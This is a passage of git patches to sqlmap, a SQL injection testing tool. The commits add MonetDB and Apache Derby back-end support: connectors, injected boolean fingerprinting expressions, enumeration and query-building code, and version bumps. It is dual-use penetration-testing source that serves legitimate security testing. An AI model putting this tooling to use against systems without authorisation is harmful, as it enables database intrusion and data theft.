DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields: nulledCastedField = agent.nullAndCastField(field) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1b184f1d0..66225198a 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -46,6 +46,8 @@ def checkDependencies(): __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index ab42b0a7e..35cd69a37 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" + warnMsg = "on DB2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 0d26d2b7f..e9cb9707d 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -43,7 +43,7 @@ class Enumeration(GenericEnumeration): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): - warnMsg = "on H2 it is not possible to list password hashes" + warnMsg = "on H2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 000000000..76c054d00 --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 000000000..ac5d9247a --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 000000000..9d2d2ffe7 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 000000000..5b1cefd5b --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL)=false") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.MONETDB + logger.info(infoMsg) + + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + + if output: + Backend.setVersion(version) + break + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 000000000..849dfc9bf --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import isDBMSVersionAtLeast +from lib.core.common import randomStr +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + retVal = expression + + if isDBMSVersionAtLeast("11.70"): + excluded = {} + for _ in re.findall(r"DBINFO\([^)]+\)", expression): + excluded[_] = randomStr() + expression = expression.replace(_, excluded[_]) + + retVal = Syntax._escape(expression, quote, escaper) + + for _ in excluded.items(): + retVal = retVal.replace(_[1], _[0]) + + return retVal diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 000000000..432fa6f78 --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5a86d7123..d2387d1a8 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -26,6 +26,7 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue @@ -580,7 +581,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -722,7 +723,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -797,6 +798,9 @@ class Databases(object): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None + elif Backend.isDbms(DBMS.MONETDB): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -846,6 +850,8 @@ class Databases(object): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 83e4fea09..7c978a3ba 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -415,6 +415,8 @@ class Entries(object): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) From ef59a365f46b4b6e480e00c321f574297450a639 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jan 2020 17:22:50 +0100 Subject: [PATCH 086/159] Fix for broken build --- lib/core/settings.py | 2 +- plugins/dbms/monetdb/syntax.py | 15 +-------------- 2 files changed, 2 insertions(+), 15 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1fb5fea0e..4e642a424 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.26" +VERSION = "1.4.1.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 849dfc9bf..28701778f 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -24,17 +24,4 @@ class Syntax(GenericSyntax): def escaper(value): return "||".join("CODE(%d)" % _ for _ in getOrds(value)) - retVal = expression - - if isDBMSVersionAtLeast("11.70"): - excluded = {} - for _ in re.findall(r"DBINFO\([^)]+\)", expression): - excluded[_] = randomStr() - expression = expression.replace(_, excluded[_]) - - retVal = Syntax._escape(expression, quote, escaper) - - for _ in excluded.items(): - retVal = retVal.replace(_[1], _[0]) - - return retVal + return Syntax._escape(expression, quote, escaper) From d7a56017bf07dd0af5552807a5b1da4e58e285e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 18 Jan 2020 07:54:03 +0100 Subject: [PATCH 087/159] Trivial update --- data/xml/errors.xml | 1 + lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 2cb014058..822722cb0 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -174,5 +174,6 @@ +
diff --git a/lib/core/settings.py b/lib/core/settings.py index 4e642a424..ffe39f523 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.27" +VERSION = "1.4.1.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4c804a3fd63c7637f22aa44e258cf0bff31257bd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 Jan 2020 15:33:45 +0100 Subject: [PATCH 088/159] Adding support for Apache Derby --- data/xml/errors.xml | 7 +++ data/xml/queries.xml | 69 +++++++++++++++++++++ lib/controller/handler.py | 4 ++ lib/core/agent.py | 6 +- lib/core/common.py | 1 - lib/core/dicts.py | 5 +- lib/core/enums.py | 2 + lib/core/settings.py | 8 ++- lib/techniques/blind/inference.py | 2 +- lib/utils/deps.py | 2 + lib/utils/hash.py | 1 - plugins/dbms/db2/enumeration.py | 4 +- plugins/dbms/derby/__init__.py | 30 +++++++++ plugins/dbms/derby/connector.py | 62 +++++++++++++++++++ plugins/dbms/derby/enumeration.py | 43 +++++++++++++ plugins/dbms/derby/filesystem.py | 11 ++++ plugins/dbms/derby/fingerprint.py | 94 +++++++++++++++++++++++++++++ plugins/dbms/derby/syntax.py | 18 ++++++ plugins/dbms/derby/takeover.py | 15 +++++ plugins/dbms/monetdb/enumeration.py | 4 ++ plugins/dbms/monetdb/fingerprint.py | 13 ---- plugins/dbms/monetdb/syntax.py | 4 -- plugins/generic/databases.py | 26 ++++---- plugins/generic/entries.py | 10 +-- plugins/generic/search.py | 6 +- sqlmap.py | 5 ++ 26 files changed, 404 insertions(+), 48 deletions(-) create mode 100644 plugins/dbms/derby/__init__.py create mode 100644 plugins/dbms/derby/connector.py create mode 100644 plugins/dbms/derby/enumeration.py create mode 100644 plugins/dbms/derby/filesystem.py create mode 100644 plugins/dbms/derby/fingerprint.py create mode 100644 plugins/dbms/derby/syntax.py create mode 100644 plugins/dbms/derby/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 822722cb0..f32b82734 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -176,4 +176,11 @@ + + + + + + +
diff --git a/data/xml/queries.xml b/data/xml/queries.xml index ccd780474..e26c99dc8 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -942,4 +942,73 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 0b430b907..03e5489d3 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -25,6 +25,7 @@ from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MONETDB_ALIASES +from lib.core.settings import DERBY_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -55,6 +56,8 @@ from plugins.dbms.informix import InformixMap from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.monetdb import MonetDBMap from plugins.dbms.monetdb.connector import Connector as MonetDBConn +from plugins.dbms.derby import DerbyMap +from plugins.dbms.derby.connector import Connector as DerbyConn def setHandler(): """ @@ -77,6 +80,7 @@ def setHandler(): (DBMS.H2, H2_ALIASES, H2Map, H2Conn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), + (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index ecf9b26b4..98a0abb2e 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -648,7 +648,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -941,6 +941,10 @@ class Agent(object): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.DERBY,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,): if query.startswith("SELECT ") and field is not None and field in query: original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] diff --git a/lib/core/common.py b/lib/core/common.py index b539f10f3..761f70841 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -40,7 +40,6 @@ import unicodedata from difflib import SequenceMatcher from math import sqrt from optparse import OptionValueError -from xml.dom import minidom from xml.sax import parse from xml.sax import SAXParseException diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 48e8afe13..f02126aac 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -12,6 +12,7 @@ from lib.core.enums import POST_HINT from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BLANK from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES @@ -200,6 +201,7 @@ DBMS_DICT = { DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), + DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), } FROM_DUMMY_TABLE = { @@ -209,7 +211,8 @@ FROM_DUMMY_TABLE = { DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", - DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL" + DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL", + DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1" } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 98bbca1b4..b429cd895 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -46,6 +46,7 @@ class DBMS(object): H2 = "H2" INFORMIX = "Informix" MONETDB = "MonetDB" + DERBY = "Apache Derby" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -62,6 +63,7 @@ class DBMS_DIRECTORY_NAME(object): H2 = "h2" INFORMIX = "informix" MONETDB = "monetdb" + DERBY = "derby" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index ffe39f523..b4c572ad8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.28" +VERSION = "1.4.1.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -259,6 +259,7 @@ HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") +DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") @@ -274,13 +275,14 @@ HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) +DERBY_ALIASES = ("derby", "apache derby",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 063ad7334..37853748f 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -642,7 +642,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces - if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 66225198a..8583e77a6 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -48,6 +48,8 @@ def checkDependencies(): __import__("ibm_db_dbi") elif dbmsName == DBMS.MONETDB: __import__("pymonetdb") + elif dbmsName == DBMS.DERBY: + __import__("drda") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 19b6b021a..70b008e79 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -33,7 +33,6 @@ else: import base64 import binascii import gc -import hashlib import os import re import tempfile diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index 35cd69a37..d2235b0f5 100644 --- 